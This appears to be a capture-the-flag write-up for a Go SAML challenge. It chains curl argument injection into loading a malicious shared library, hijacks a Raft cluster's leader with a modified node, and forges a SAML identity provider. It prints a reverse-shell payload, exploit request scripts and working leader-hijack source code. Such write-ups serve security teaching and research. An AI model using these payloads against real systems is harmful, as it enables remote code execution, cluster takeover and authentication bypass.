Breaking Raft Consensus in Go: N1SAML Writeup for N1CTF 2025
Overview
Github: https://github.com/Nu1LCTF/n1ctf-2025/tree/main/web/n1saml
N1SAML is a SAML web application written in Go, containing multiple components. The following is the description of this challenge.
1
2
3
4
5
6
7
|
A cloud-native, containerized, strongly consistent SAML web application, but maybe something is wrong?
Due to differences between local and remote environments, you need to be aware of the following:
1. In a local environment (started using `docker-compose`), the healthcheck, sp, proxy, and kvstore containers have different IP addresses in the Docker network. Therefore, within the `run.sh` scripts of these containers, the container names will be used as domain names for requests (e.g., proxy:2379, sp:9000).
2. In a remote environment (deployed based on Kubernetes), the healthcheck, sp, proxy, and kvstore containers belong to the same pod, therefore they share a single IP address, which is obtained using the `hostname -i` command.
|
The following is the compose.yml file for this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
services:
healthcheck:
build: ./healthcheck
ports:
- "8000:8000"
environment:
- IN_DOCKER=true
sp:
build: ./sp
ports:
- "9000:9000"
environment:
- IN_DOCKER=true
- FLAG="flag{test}"
depends_on:
- kvstore
- proxy
proxy:
build: ./proxy
ports:
- "2379:2379"
environment:
- IN_DOCKER=true
depends_on:
- kvstore
kvstore:
build: ./kvstore
ports:
- "12379:12379"
- "22379:22379"
- "32379:32379"
- "12380:12380"
- "22380:22380"
- "32380:32380"
environment:
- IN_DOCKER=true
|
It contains four containers:
healthcheck: Liveness probe for sp based on curl command.
kvstore: A three-node key-value database cluster based on the Raft protocol.
proxy: Load balancing and reverse proxy for the kvstore HTTP API.
sp: The Service Provider (SP) In the SAML protocol, verifies the user’s identity and returns flag.
Below, I will explain how to compromise these components step by step to get the flag.
Parameter Injection in curl
The entry point for this challenge is healthcheck. Its /healthcheck route checks the liveness of sp using the curl command.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
func HealthCheck(c *gin.Context) {
params := make(map[string]string)
_ = c.ShouldBindJSON(¶ms)
args := make([]string, 0)
args = append(args, url)
if len(params) > 0 {
for k, v := range params {
args = append(args, k, v)
}
}
cmd := exec.Command("curl", args...)
if err := cmd.Run(); err != nil {
c.String(http.StatusInternalServerError, "FAIL")
} else {
c.String(http.StatusOK, "OK")
}
}
|
The HealthCheck function uses the JSON object passed via POST to construct other parameters for curl, clearly a parameter injection vulnerability.
It’s worth noting that the --engine parameter in curl allows loading a .so library before initiating the HTTP request.
https://hackerone.com/reports/3293801
1
|
--engine <name> Crypto engine to use
|
Therefore, we can use this feature to load .so file to achieve RCE. However, this raises the question: how to upload the .so file to the target machine?
Since the first parameter passed to curl is the url http://sp:9000/, which is a fixed parameter, that means you cannot simply set a different url and save the file using the -o parameter.
However, after reviewing all the parameters of curl, you can find that there is a --proxy parameter.
1
|
-x, --proxy [protocol://]host[:port] Use this proxy
|
The --proxy parameter allows you to specify the proxy to use when accessing http://sp:9000/. This method allows us to forge the response of a curl request, making it return our .so file.
First, we need to prepare the .so file.
1
2
3
4
5
6
|
#include <stdlib.h>
__attribute__((constructor))
static void rce_init(void) {
system("bash -c 'bash -i &> /dev/tcp/host/port 0>&1'");
}
|
1
2
|
# build .so library
docker run -v `pwd`:/build -it --platform=linux/amd64 --rm debian:bookworm-slim bash -c "apt update && apt install -y gcc && cd /build && gcc -fPIC -shared -o evil.so evil.c"
|
Then, rename evil.so to index.html and host it on an HTTP server.
1
2
3
|
mv evil.so index.html
simplehttpserver -listen 0.0.0.0:5555
|
Finally, we request the /healthcheck route twice:
- The first request: we specify the
--proxy and -o parameters to download the .so file
- The second request: we specify the
--engine parameter to load the .so file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
url = "http://ip:port/healthcheck"
data = {
'--proxy': 'http://vps:5555/',
'-o': '/tmp/evil.so'
}
resp = requests.post(url, json=data)
print(resp.text)
data = {
'--engine': '/tmp/evil.so'
}
resp = requests.post(url, json=data)
print(resp.text)
|
Then you will get a reverse shell.
Raft Leader Hijacking
Implementing RCE on healthcheck is only the first step in solving this challenge. The real flag lies in the /whoami route of sp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
func Whoami(c *gin.Context) {
c.Header("Content-Type", "text/plain")
session := samlsp.SessionFromContext(c.Request.Context())
if session == nil {
c.String(http.StatusForbidden, "not signed in")
return
}
sessionWithAttrs, ok := session.(samlsp.SessionWithAttributes)
if !ok {
c.String(http.StatusInternalServerError, "no attributes available")
return
}
attributes := sessionWithAttrs.GetAttributes()
uid := attributes.Get("uid")
mail := attributes.Get("mail")
if uid == "Administrator" && mail == "[email protected]" {
c.String(http.StatusOK, "Welcome, Administrator! Here is your flag: %s", readFlag())
} else {
c.String(http.StatusOK, "You are not Administrator.")
}
}
|
sp verifies user identity based on the SAML protocol, and only returns the flag if specific conditions (uid and email) are met.
Here’s a brief overview of the SAML protocol process (for more details, please Google it).
The SAML protocol involves two roles: SP (Service Provider) and idP (Identity Provider). When an SP requests authentication from an idP, the process is as follows:
-
The SP signs the SAMLRequest with its private key and sends it to the idP endpoint.
-
The idP obtains the SP’s public key from the SP metadata and verifies the signature’s validity.
-
The user then authenticates on the idP’s login page. If login is successful, the idP signs the SAMLResponse with its private key and sends it to the SP endpoint.
-
The SP receives the SAMLResponse, obtains the idP’s public key from the idP metadata, and verifies the signature’s validity.
-
If the signature is valid, user authentication is successful, and the process ends.
The DynamicSP middleware in sp dynamically pulls the idP metadata from the HTTP API of kvstore.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
func (mw *DynamicSP) fetchMetadata() (*saml.EntityDescriptor, error) {
metadataURL, err := url.Parse(mw.endpoint)
if err != nil {
log.Println("failed to parse metadata URL:", err)
return nil, err
}
metadataURL.Path = "/key/metadata"
resp, err := http.Get(metadataURL.String())
if err != nil {
log.Println("failed to fetch metadata:", err)
return nil, err
}
b, err := io.ReadAll(resp.Body)
if err != nil {
log.Println("failed to read metadata response body:", err)
return nil, err
}
dec, err := base64.StdEncoding.DecodeString(string(b))
if err != nil {
log.Println("failed to decode metadata:", err)
return nil, err
}
metadata, err := samlsp.ParseMetadata(dec)
if err != nil {
log.Println("failed to parse metadata:", err)
return nil, err
}
return metadata, nil
}
|
kvstore implements a three-node key-value database cluster based on the Raft protocol (https://github.com/hashicorp/raft). At runtime, it exposes two ports: the HTTP API port (12379, 22379, 32379) and the Raft port (12380, 22380, 32380).
This actually hints at the naming of the etcd port.
Before startup, the container also saves idp-metadata.xml to kvstore via HTTP API.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
#!/bin/bash
HOST=$(hostname -i)
PEERS=node1:$HOST:12380,node2:$HOST:22380,node3:$HOST:32380
./kvstore -id node1 -haddr 0.0.0.0:12379 -raddr $HOST:12380 -paddrs $PEERS &
./kvstore -id node2 -haddr 0.0.0.0:22379 -raddr $HOST:22380 -paddrs $PEERS &
./kvstore -id node3 -haddr 0.0.0.0:32379 -raddr $HOST:32380 -paddrs $PEERS &
sleep 5
base64 -w 0 idp-metadata.xml > idp-metadata.b64
while true; do
curl -s -X POST "http://$HOST:12379/key/metadata" -T idp-metadata.b64 >/dev/null
curl -s -X POST "http://$HOST:22379/key/metadata" -T idp-metadata.b64 >/dev/null
curl -s -X POST "http://$HOST:32379/key/metadata" -T idp-metadata.b64 >/dev/null
COUNT=0
for PORT in 12379 22379 32379; do
URL="http://$HOST:$PORT/key/metadata"
RESPONSE=$(curl -s -w "\n%{http_code}" "$URL")
STATUS_CODE=$(echo "$RESPONSE" | tail -n1)
BODY=$(echo "$RESPONSE" | sed '$d')
if [ "$STATUS_CODE" = "200" ] && [ -n "$BODY" ]; then
COUNT=$((COUNT+1))
fi
done
if [ $COUNT -eq 3 ]; then
break
fi
sleep 1
done
sleep infinity
|
The idP metadata is constructed using my locally generated public and private keys. Without knowing the private key, you cannot complete the SAML authentication request in any way. Therefore, the SAML authentication for sp here is broken.
So you need to modify the metadata in kvstore in some way, and then fix the SAML authentication process by setting up your own idP (on the healthcheck machine) to get the flag.
The HTTP API of kvstore exposes three routes:
GetKey: Retrieves the value based on the key.
SetKey: Sets the key-value pair.
Status: Retrieves information about the Raft cluster, including the leader and followers.
In the SetKey route, the code checks if the key is duplicated, meaning you cannot modify metadata by simply overwriting the key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
func SetKey(c *gin.Context) {
kvstore := c.MustGet("store").(Store)
k := c.Param("key")
if k == "" {
c.AbortWithStatus(http.StatusBadRequest)
}
v, err := c.GetRawData()
if err != nil {
c.AbortWithStatus(http.StatusInternalServerError)
}
if vv, _ := kvstore.Get(k); vv != "" {
c.AbortWithStatus(http.StatusInternalServerError)
}
if err = kvstore.Set(k, string(v)); err != nil {
c.AbortWithStatus(http.StatusInternalServerError)
}
c.Status(http.StatusCreated)
}
|
However, the HTTP API only exposes the part functionality of kvstore. In fact, The Raft state machine (fsm) also contains a Flush function, which clears all key-value pairs in kvstore.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
func (s *Store) Flush() error {
if s.raft.State() != raft.Leader {
return fmt.Errorf("not leader")
}
c := &Command{
Op: "flush",
}
b, err := json.Marshal(c)
if err != nil {
return err
}
f := s.raft.Apply(b, 10*time.Second)
return f.Error()
}
|
1
2
3
4
5
6
|
func (f *fsm) applyFlush() interface{} {
f.mu.Lock()
defer f.mu.Unlock()
f.m = make(map[string]string)
return nil
}
|
The state machine will perform different operations based on the received Command struct.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
func (f *fsm) Apply(l *raft.Log) interface{} {
var c Command
if err := json.Unmarshal(l.Data, &c); err != nil {
log.Fatal("failed to unmarshal command:", err)
}
switch c.Op {
case "set":
return f.applySet(c.Key, c.Value)
case "flush":
return f.applyFlush()
default:
log.Println("unrecognized command op:", c.Op)
return nil
}
}
|
The Command struct is defined as follows:
1
2
3
4
5
|
type Command struct {
Op string `json:"op,omitempty"`
Key string `json:"key,omitempty"`
Value string `json:"value,omitempty"`
}
|
Therefore, our goal is to somehow invoke the Flush method in the Raft state machine, specifically to have the kvstore node accept a Command struct (with Op set to flush), thereby clearing all key-value pairs. Only in this way can we write our custom idP metadata.
The solution here originates from our (@yulate and I) presentation at the 2025 Alibaba White Hat Conference (2025 阿里白帽大会): Breaking Consensus: From Raft Leader Hijacking to Distributed System Takeover (击碎共识: 从 Raft Leader 劫持到分布式系统接管)
You can find the presentation slides in the repos below.
In the original presentation slides, we only targeted Java third-party libraries for exploitation. However, this attack method is actually applicable to the vast majority of third-party Raft libraries, regardless of their programming language.
If you are unfamiliar with the Raft protocol, you can refer to https://raft.github.io/ for details.
Simply put, the Raft protocol has a mechanism to prevent cluster split-brain issues caused by network congestion: when a Raft cluster has multiple Leader nodes, the Leader with the highest term field will become the true Leader, and other Leader nodes with lower term will degenerate into Follower nodes.
Furthermore, most third-party Raft libraries lack any authentication measures by default. This means that you can join any Raft cluster unauthorizedly with knowledge of peer node information (IP and port), carry out the above attack, ultimately hijack the Leader role, make your malicious node the true Leader, and apply any operations.
Returning to the challenge, we need to modify the kvstore source code to change the term value before joining the cluster. This will allow us to become the true Leader. Then, we apply a Command struct (with Op set to flush) to clear all key-value pairs. After that, we can write our custom idP metadata.
Modify the Open function in store.go.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
func (s *Store) Open() error {
config := raft.DefaultConfig()
config.LocalID = raft.ServerID(s.nodeID)
addr, err := net.ResolveTCPAddr("tcp", s.addr)
if err != nil {
return err
}
transport, err := raft.NewTCPTransport(s.addr, addr, 3, 10*time.Second, os.Stderr)
if err != nil {
return err
}
logStore := raft.NewInmemStore()
stableStore := raft.NewInmemStore()
snapshots := raft.NewInmemSnapshotStore()
if err := stableStore.SetUint64([]byte("CurrentTerm"), 23333); err != nil {
return fmt.Errorf("failed to set CurrentTerm: %s", err)
}
ra, err := raft.NewRaft(config, (*fsm)(s), logStore, stableStore, snapshots, transport)
if err != nil {
return err
}
s.raft = ra
configuration := raft.Configuration{
Servers: s.servers,
}
v := reflect.ValueOf(ra).Elem()
leaderAddrF := v.FieldByName("leaderAddr")
leaderIDF := v.FieldByName("leaderID")
stateF := v.FieldByName("state")
setUnexportedField(leaderAddrF, raft.ServerAddress(s.addr))
setUnexportedField(leaderIDF, raft.ServerID(s.nodeID))
setUnexportedField(stateF, raft.RaftState(2))
configurationsF := v.FieldByName("configurations")
latestF := configurationsF.FieldByName("latest")
setUnexportedField(latestF, configuration)
leaderAddr, leaderID := ra.LeaderWithID()
log.Printf("current leader: %s (id: %s)", leaderAddr, leaderID)
log.Printf("current term: %d", ra.CurrentTerm())
for _, srv := range configuration.Servers {
ra.AddVoter(srv.ID, srv.Address, ra.LastIndex(), 5*time.Second)
}
{
c := Command{
Op: "flush",
}
b, _ := json.Marshal(c)
ra.Apply(b, 5*time.Second)
}
{
data, _ := os.ReadFile("idp-metadata.xml")
enc := base64.StdEncoding.EncodeToString(data)
c := Command{
Op: "set",
Key: "metadata",
Value: enc,
}
b, _ := json.Marshal(c)
ra.Apply(b, 5*time.Second)
}
return nil
}
func setUnexportedField(v reflect.Value, value interface{}) {
reflect.NewAt(v.Type(), unsafe.Pointer(v.UnsafeAddr())).Elem().Set(reflect.ValueOf(value))
}
|
Since the IP addresses of nodes in Raft are internal network IP addresses (obtained via the hostname -i command), we cannot perform this attack via a external VPS. Therefore, we need to execute the following command inside the compromised healthcheck container:
1
2
3
|
HOST=$(hostname -i)
./kvstore_hijack -id evil -haddr 0.0.0.0:2333 -raddr $HOST:4444 -paddrs node1:$HOST:12380,node2:$HOST:22380,node3:$HOST:32380,evil:$HOST:4444 > kvstore.log 2>&1 &
|
Then, request the /status endpoint, and you will find that the evil node has successfully become the leader, and the metadata value has been cleared and modified.
1
2
3
4
|
HOST=$(hostname -i)
curl http://$HOST:2379/status
curl http://$HOST:2379/key/metadata
|
The code above sets the metadata to the content of idp-metadata.xml, which we will discuss in the next section.
Forge idP in SAML
Here we are reaching the last step of the challenge. We’ve successfully cleared the key-value pairs in kvstore and can rewrite the metadata. Now let’s see how to forge SAML authentication using a custom idP to get the flag.
The SAML third-party library used by sp is: https://github.com/crewjam/saml
The DynamicSP middleware in sp dynamically pulls the idP metadata from the HTTP API of kvstore.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
func (mw *DynamicSP) fetchMetadata() (*saml.EntityDescriptor, error) {
metadataURL, err := url.Parse(mw.endpoint)
if err != nil {
log.Println("failed to parse metadata URL:", err)
return nil, err
}
metadataURL.Path = "/key/metadata"
resp, err := http.Get(metadataURL.String())
if err != nil {
log.Println("failed to fetch metadata:", err)
return nil, err
}
b, err := io.ReadAll(resp.Body)
if err != nil {
log.Println("failed to read metadata response body:", err)
return nil, err
}
dec, err := base64.StdEncoding.DecodeString(string(b))
if err != nil {
log.Println("failed to decode metadata:", err)
return nil, err
}
metadata, err := samlsp.ParseMetadata(dec)
if err != nil {
log.Println("failed to parse metadata:", err)
return nil, err
}
return metadata, nil
}
|
The /whoami route checks the SAML user’s uid and email. If the uid is Administrator and the email is [email protected], it will read the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
func Whoami(c *gin.Context) {
c.Header("Content-Type", "text/plain")
session := samlsp.SessionFromContext(c.Request.Context())
if session == nil {
c.String(http.StatusForbidden, "not signed in")
return
}
sessionWithAttrs, ok := session.(samlsp.SessionWithAttributes)
if !ok {
c.String(http.StatusInternalServerError, "no attributes available")
return
}
attributes := sessionWithAttrs.GetAttributes()
uid := attributes.Get("uid")
mail := attributes.Get("mail")
if uid == "Administrator" && mail == "[email protected]" {
c.String(http.StatusOK, "Welcome, Administrator! Here is your flag: %s", readFlag())
} else {
c.String(http.StatusOK, "You are not Administrator.")
}
}
|
The basic process of the SAML authentication has been mentioned in the previous section. Here, we need to customize an idP server to impersonate a specific user.
We can refer to the example code in the repo: https://github.com/crewjam/saml/blob/main/example/idp/idp.go
Tthe final source code for the idP server is as follows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
package main
import (
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"io"
"net/http"
"net/url"
"github.com/crewjam/saml/logger"
"github.com/crewjam/saml/samlsp"
"golang.org/x/crypto/bcrypt"
"github.com/crewjam/saml/samlidp"
)
func main() {
idpURL, _ := url.Parse("http://IP:9001")
keyPair, _ := tls.LoadX509KeyPair("idp.crt", "idp.key")
keyPair.Leaf, _ = x509.ParseCertificate(keyPair.Certificate[0])
store := &samlidp.MemoryStore{}
hashedPassword, _ := bcrypt.GenerateFromPassword([]byte("123456"), bcrypt.DefaultCost)
store.Put("/users/admin", samlidp.User{
Name: "Administrator",
HashedPassword: hashedPassword,
Groups: []string{"Administrators", "Users"},
Email: "[email protected]",
})
resp, _ := http.Get("http://IP:9000/saml/metadata")
b, _ := io.ReadAll(resp.Body)
spMetadata, _ := samlsp.ParseMetadata(b)
service := samlidp.Service{
Metadata: *spMetadata,
}
store.Put("/services/sp", &service)
idp, _ := samlidp.New(samlidp.Options{
URL: *idpURL,
Key: keyPair.PrivateKey.(*rsa.PrivateKey),
Certificate: keyPair.Leaf,
Store: store,
Logger: logger.DefaultLogger,
})
http.ListenAndServe(":9001", idp)
}
|
The code starts an idP server on port 9001. At runtime, it first accesses the /saml/metadata endpoint of sp to obtain its public key, and then adds a user with the username admin and password 123456 in the memory store.
Before running, we need to generate a public-private key pair.
1
|
openssl req -x509 -newkey rsa:2048 -keyout idp.key -out idp.crt -days 365 -nodes -subj "/CN=idP"
|
Then, start the custom idP server in the healthcheck container.
Then, we save the idP metadata as the idp-metadata.xml file and write it using the modified kvstore from the previous section.
1
2
3
4
|
HOST=$(hostname -i)
curl http://$HOST:9001/metadata -o idp-metadata.xml
./kvstore_hijack -id evil -haddr 0.0.0.0:2333 -raddr $HOST:4444 -paddrs node1:$HOST:12380,node2:$HOST:22380,node3:$HOST:32380,evil:$HOST:4444 > kvstore.log 2>&1 &
|
At this point, the metadata has been modified to our custom idP metadata, meaning we can now perform full SAML authentication:
- Make a reverse socks proxy in the
healthcheck container.
- access the
/whoami endpoint in sp manually, which is http://$HOST:9000/whoami.
- Your browser will redirect to the custom idP server, which is
http://$HOST:9001/.
- Enter
admin and 123456 to authenticate。
- Then return to
http://$HOST:9000/whoami, and you should then see the flag.